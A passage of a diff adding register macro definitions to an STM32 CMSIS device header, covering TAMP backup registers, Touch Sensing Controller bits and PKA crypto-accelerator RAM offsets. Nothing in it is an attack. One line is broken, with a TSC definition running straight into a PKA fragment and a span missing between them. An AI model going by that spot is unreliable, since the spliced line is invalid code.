TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!>2) /*!< Input modulus number of bits */ +#define PKA_MONTGOMERY_PARAM_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Compute Montgomery parameter output data */ +#define PKA_MONTGOMERY_PARAM_OUT_PARAMETER ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output Montgomery parameter */ + +/* Compute modular exponentiation input data */ +#define PKA_MODULAR_EXP_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent number of bits */ +#define PKA_MODULAR_EXP_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_EXP_IN_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_IN_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ +#define PKA_MODULAR_EXP_IN_EXPONENT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process */ +#define PKA_MODULAR_EXP_IN_MODULUS ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT_BASE ((0x16C8UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_EXPONENT ((0x14B8UL - PKA_RAM_OFFSET)>>2) /*!< Input exponent to process protected exponentiation*/ +#define PKA_MODULAR_EXP_PROTECT_IN_MODULUS ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus to process protected exponentiation */ +#define PKA_MODULAR_EXP_PROTECT_IN_PHI ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input phi to process protected exponentiation */ + +/* Compute modular exponentiation output data */ +#define PKA_MODULAR_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_ERROR ((0x1298UL - PKA_RAM_OFFSET)>>2) /*!< Output error of the exponentiation */ +#define PKA_MODULAR_EXP_OUT_MONTGOMERY_PARAM ((0x0620UL - PKA_RAM_OFFSET)>>2) /*!< Output storage area for Montgomery parameter */ +#define PKA_MODULAR_EXP_OUT_EXPONENT_BASE ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Output base of the exponentiation */ + +/* Compute ECC scalar multiplication input data */ +#define PKA_ECC_SCALAR_MUL_IN_EXP_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input curve prime order n number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECC_SCALAR_MUL_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_SCALAR_MUL_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' of KP */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_SCALAR_MUL_IN_N_PRIME_ORDER ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input prime order n */ + +/* Compute ECC scalar multiplication output data */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_SCALAR_MUL_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Point check input data */ +#define PKA_POINT_CHECK_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_POINT_CHECK_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_POINT_CHECK_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_POINT_CHECK_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_POINT_CHECK_IN_MOD_GF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_POINT_CHECK_IN_INITIAL_POINT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_POINT_CHECK_IN_MONTGOMERY_PARAM ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Point check output data */ +#define PKA_POINT_CHECK_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ + +/* ECDSA signature input data */ +#define PKA_ECDSA_SIGN_IN_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_SIGN_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_SIGN_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_SIGN_IN_B_COEFF ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'b' coefficient */ +#define PKA_ECDSA_SIGN_IN_MOD_GF ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_SIGN_IN_K ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input k value of the ECDSA */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_SIGN_IN_INITIAL_POINT_Y ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_SIGN_IN_HASH_E ((0x0FE8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_SIGN_IN_PRIVATE_KEY_D ((0x0F28UL - PKA_RAM_OFFSET)>>2) /*!< Input d, private key */ +#define PKA_ECDSA_SIGN_IN_ORDER_N ((0x0F88UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA signature output data */ +#define PKA_ECDSA_SIGN_OUT_ERROR ((0x0FE0UL - PKA_RAM_OFFSET)>>2) /*!< Output error */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_R ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Output signature r */ +#define PKA_ECDSA_SIGN_OUT_SIGNATURE_S ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Output signature s */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_X ((0x1400UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point X coordinate */ +#define PKA_ECDSA_SIGN_OUT_FINAL_POINT_Y ((0x1458UL - PKA_RAM_OFFSET)>>2) /*!< Extended output result point Y coordinate */ + +/* ECDSA verification input data */ +#define PKA_ECDSA_VERIF_IN_ORDER_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input order number of bits */ +#define PKA_ECDSA_VERIF_IN_MOD_NB_BITS ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus number of bits */ +#define PKA_ECDSA_VERIF_IN_A_COEFF_SIGN ((0x0468UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_A_COEFF ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve 'a' coefficient */ +#define PKA_ECDSA_VERIF_IN_MOD_GF ((0x04D0UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_X ((0x0678UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECDSA_VERIF_IN_INITIAL_POINT_Y ((0x06D0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_X ((0x12F8UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point X coordinate */ +#define PKA_ECDSA_VERIF_IN_PUBLIC_KEY_POINT_Y ((0x1350UL - PKA_RAM_OFFSET)>>2) /*!< Input public key point Y coordinate */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_R ((0x10E0UL - PKA_RAM_OFFSET)>>2) /*!< Input r, part of the signature */ +#define PKA_ECDSA_VERIF_IN_SIGNATURE_S ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input s, part of the signature */ +#define PKA_ECDSA_VERIF_IN_HASH_E ((0x13A8UL - PKA_RAM_OFFSET)>>2) /*!< Input e, hash of the message */ +#define PKA_ECDSA_VERIF_IN_ORDER_N ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ + +/* ECDSA verification output data */ +#define PKA_ECDSA_VERIF_OUT_RESULT ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* RSA CRT exponentiation input data */ +#define PKA_RSA_CRT_EXP_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operands number of bits */ +#define PKA_RSA_CRT_EXP_IN_DP_CRT ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input Dp CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_DQ_CRT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Input Dq CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_QINV_CRT ((0x0948UL - PKA_RAM_OFFSET)>>2) /*!< Input qInv CRT parameter */ +#define PKA_RSA_CRT_EXP_IN_PRIME_P ((0x0B60UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime p */ +#define PKA_RSA_CRT_EXP_IN_PRIME_Q ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime q */ +#define PKA_RSA_CRT_EXP_IN_EXPONENT_BASE ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ + +/* RSA CRT exponentiation output data */ +#define PKA_RSA_CRT_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular reduction input data */ +#define PKA_MODULAR_REDUC_IN_OP_LENGTH ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input operand length */ +#define PKA_MODULAR_REDUC_IN_MOD_LENGTH ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus length */ +#define PKA_MODULAR_REDUC_IN_OPERAND ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand */ +#define PKA_MODULAR_REDUC_IN_MODULUS ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Modular reduction output data */ +#define PKA_MODULAR_REDUC_OUT_RESULT ((0xE78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic addition input data */ +#define PKA_ARITHMETIC_ADD_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic addition output data */ +#define PKA_ARITHMETIC_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic subtraction input data */ +#define PKA_ARITHMETIC_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic subtraction output data */ +#define PKA_ARITHMETIC_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic multiplication input data */ +#define PKA_ARITHMETIC_MUL_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic multiplication output data */ +#define PKA_ARITHMETIC_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Comparison input data */ +#define PKA_COMPARISON_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_COMPARISON_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_COMPARISON_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Comparison output data */ +#define PKA_COMPARISON_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular addition input data */ +#define PKA_MODULAR_ADD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_ADD_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 (modulus) */ + +/* Modular addition output data */ +#define PKA_MODULAR_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular inversion input data */ +#define PKA_MODULAR_INV_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_INV_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_INV_IN_OP2_MOD ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 (modulus) */ + +/* Modular inversion output data */ +#define PKA_MODULAR_INV_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular subtraction input data */ +#define PKA_MODULAR_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_SUB_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 */ + +/* Modular subtraction output data */ +#define PKA_MODULAR_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Montgomery multiplication input data */ +#define PKA_MONTGOMERY_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MONTGOMERY_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MONTGOMERY_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MONTGOMERY_MUL_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Montgomery multiplication output data */ +#define PKA_MONTGOMERY_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Generic Arithmetic input data */ +#define PKA_ARITHMETIC_ALL_OPS_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP3 ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Generic Arithmetic output data */ +#define PKA_ARITHMETIC_ALL_OPS_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result for arithmetic operations */ + +/* Compute ECC complete addition input data */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC complete addition output data */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Output result Z coordinate */ + +/* Compute ECC double base ladder input data */ +#define PKA_ECC_DOUBLE_LADDER_IN_PRIME_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF_SIGN ((0x0410UL - 